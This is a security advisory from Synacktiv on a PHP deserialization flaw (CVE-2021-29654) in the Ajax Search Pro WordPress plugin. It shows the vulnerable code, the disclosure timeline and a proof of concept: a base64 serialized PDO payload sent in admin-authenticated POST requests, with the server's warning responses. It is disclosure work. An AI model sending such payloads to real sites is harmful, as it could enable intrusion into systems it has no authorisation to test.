SYNACKTIV
DIGITAL SECURITY

PHP Deserialization in ajax-search-pro plugin

Security advisory

2021-03-30

Julien Egloff
Jérôme Mampianinazakason

Vulnerability description

Presentation of Ajax Search Pro

From the Ajax Search Pro website (https://ajaxsearchpro.com/), Ajax Search Pro is:

“Ajax Search Pro for WordPress is (not only) a live search replacement for any WordPress powered website.”

The issue

During a security assessment for a customer, Synacktiv discovered that Ajax Search Pro WordPress plugin has an import database feature on the administration panel. This features takes a PHP object serialized as a string and encoded. It is required to have administrative privileges in order to exploit the issue. Exploiting this issue might lead to code execution.

Affected versions

Versions 4.20.6 is known to be vulnerable. The latest version (4.20.7) might be vulnerable but Synacktiv did not have access to it. As Ajax Search Pro is not a free plugin, the complete list of affected versions cannot be provided by Synacktiv.

Timeline

Date	Action
2021-03-31	Synacktiv contacted Ajax Search Pro developers.
2021-04-01	Assigned **CVE-2021-29654**.
2021-04-03	Vulnerability fixed in Ajax Search Pro version 4.20.8.

Technical description and proof-of-concept

The code responsible for this vulnerability is located in *includes/functions/functions.php*:

```
function asp_import_instances($data) {
    global $wpdb;

    $s_data = json_decode(stripcslashes($data));

    $asp_def = wd_asp()->options;

    $count = 0;

    if (is_array($s_data)) {
        foreach ($s_data as $dec_instance) {
            $_instance = unserialize(base64_decode($dec_instance));
            if (is_array($_instance)) {
[...]

function asp_import_settings($id, $data) {
    global $wpdb;

    //$data = stripcslashes($data);
    $data = unserialize(base64_decode($data));
[...]
```

Theses functions are called in *backend/export_import.php* file:

```
if (isset($_POST['asp_import_textarea'])) {
    if (empty($_POST['asp_import_textarea'])) {
        $errormsg = 'Import data is empty.';
    } else {
        if (false === $import_count = asp_import_instances($_POST['asp_import_textarea']))
            $errormsg = __('Cannot import. Invalid data! Please try again!', 'ajax-search-
pro');
    }
}

if (isset($_POST['asp_import_textarea_sett'])) {
    if (empty($_POST['asp_import_textarea_sett'])) {
        $errormsg = 'Import data is empty.';
    } else {
        if (false === $sett_import_count = asp_import_settings($_POST['asp_import_sett'],
$_POST['asp_import_textarea_sett']))
            $errormsg = __('Cannot import. Invalid data! Please try again!', 'ajax-search-
pro');
    }
}
```

The vulnerability can only be triggered from the administration panel of the plugin because the parameters must be supplied to the page *wp-admin/wp-admin.php*. To access this page (*wp-admin/admin.php?page=asp_export_import*) , one requires administration privileges. Thus, only *WordPress* administrators can trigger exploit this vulnerability.

A simple proof of concept consists of using a PDO object. Unserializing this object would trigger an exception.

```
$ echo -n 'O:3:"PDO":0:{}' |base64
TzozOiJQRE8iOjA6e30=
```

The vulnerability can be triggered by issuing either of the following requests:

- Using the *asp_import_textarea* argument:

```
POST /wp-admin/admin.php?page=asp_export_import HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Cookie: wordpress_86a9106ae65537651a8e456835b316ab=synacktiv
%7C1617190035%7CISXVkbmxZwSpCQPT5yPke9eulpoqGyf8UyRg3pDkDp0%7C589e3e6f581af953084aad47a0441
d05388696c34242aa4807f671b2924523dc; wp-settings-time-1=1617106336; _asp_first_index=1;
language=en-gb; express_sid=s%3A0gbM1DFnFG342ZQEs40ZcA-ga0YkLyeh.sIGjshngcvPpoD040cTJE
%2FkZLsFRPTnZg2IGHmejTE4; io=kDYI7kXqKVFn3hvqAAAQ; wordpress_test_cookie=WP%20Cookie
%20check; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=synacktiv
%7C1617190035%7CISXVkbmxZwSpCQPT5yPke9eulpoqGyf8UyRg3pDkDp0%7C7024d619ff31b0666846b5f915f10
c6186f516eeeb8b060510eb8f95c94ca563

asp_import_textarea=%5B%22TzozOiJQRE8iOjA6e30%3D%22%5D
```

The server respond, with a warning because PDO class can not be unserialized.

```
HTTP/1.1 200 OK
Date: Tue, 30 Mar 2021 12:15:41 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: wp-settings-1=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
wp-settings-time-1=1617106541; expires=Wed, 30-Mar-2022 12:15:41 GMT; Max-Age=31536000; path=/
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 41539
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html class="wp-toolbar"
        lang="en-US">
<head>
[...]

<b>Warning</b>:  Erroneous data format for unserializing 'PDO' in <b>/var/www/html/wp-content/plugins/ajax-
search-pro/includes/functions/functions.php</b> on line <b>1193</b><br />
[...]
<script type="text/javascript">if(typeof wpOnload=='function')wpOnload();</script>
</body>
</html>
```

- Using the *asp_import_textarea_sett* argument :

```
POST /wp-admin/admin.php?page=asp_export_import HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: http://localhost
```

```
Cookie: wordpress_86a9106ae65537651a8e456835b316ab=synacktiv
%7C1617190035%7CISXVkbmxZwSpCQPT5yPke9eulpoqGyf8UyRg3pDkDp0%7C589e3e6f581af953084aad47a0441
d05388696c34242aa4807f671b2924523dc; wp-settings-time-1=1617106336; _asp_first_index=1;
language=en-gb; express_sid=s%3A0gbM1DFnFG342ZQEs40ZcA-ga0YkLyeh.sIGjshngcvPpoD040cTJE
%2FkZLsFRPTnZg2IGHmejTE4; io=kDYI7kXqKVFn3hvqAAAQ; wordpress_test_cookie=WP%20Cookie
%20check; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=synacktiv
%7C1617190035%7CISXVkbmxZwSpCQPT5yPke9eulpoqGyf8UyRg3pDkDp0%7C7024d619ff31b0666846b5f915f10
c6186f516eeeb8b060510eb8f95c94ca563

asp_import_textarea_sett=%5B%22TzozOiJQRE8iOjA6e30%3D%22%5D
```

The server respond, with a warning because PDO class can't be unserialized.

```
HTTP/1.1 200 OK
Date: Tue, 30 Mar 2021 12:46:36 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: wp-settings-1=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
wp-settings-time-1=1617108396; expires=Wed, 30-Mar-2022 12:46:36 GMT; Max-Age=31536000;
path=/
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 41500
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html class="wp-toolbar"
      lang="en-US">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
      <title>Ajax Search Pro &lsaquo; cb &#8212; WordPress</title>
<script type="text/javascript">
[...]
<b>Warning</b>:  Erroneous data format for unserializing 'PDO' in <b>/var/www/html/wp-
content/plugins/ajax-search-pro/includes/functions/functions.php</b> on line <b>1227</b><br
/>
[...]
<script type="text/javascript">if(typeof wpOnload=='function')wpOnload();</script>
</body>
</html>
```

Unserializing objects require using existing objects loaded by the application when the impacted code path is reached. Amongsts the loaded classes, only some can be used to perform malicious actions such as executing commands, executing PHP code, writing to files, etc…

In a default *WordPress* 5.7 installation, no class allowing such actions is present. But, added plugins, themes or customs code might contain such classes.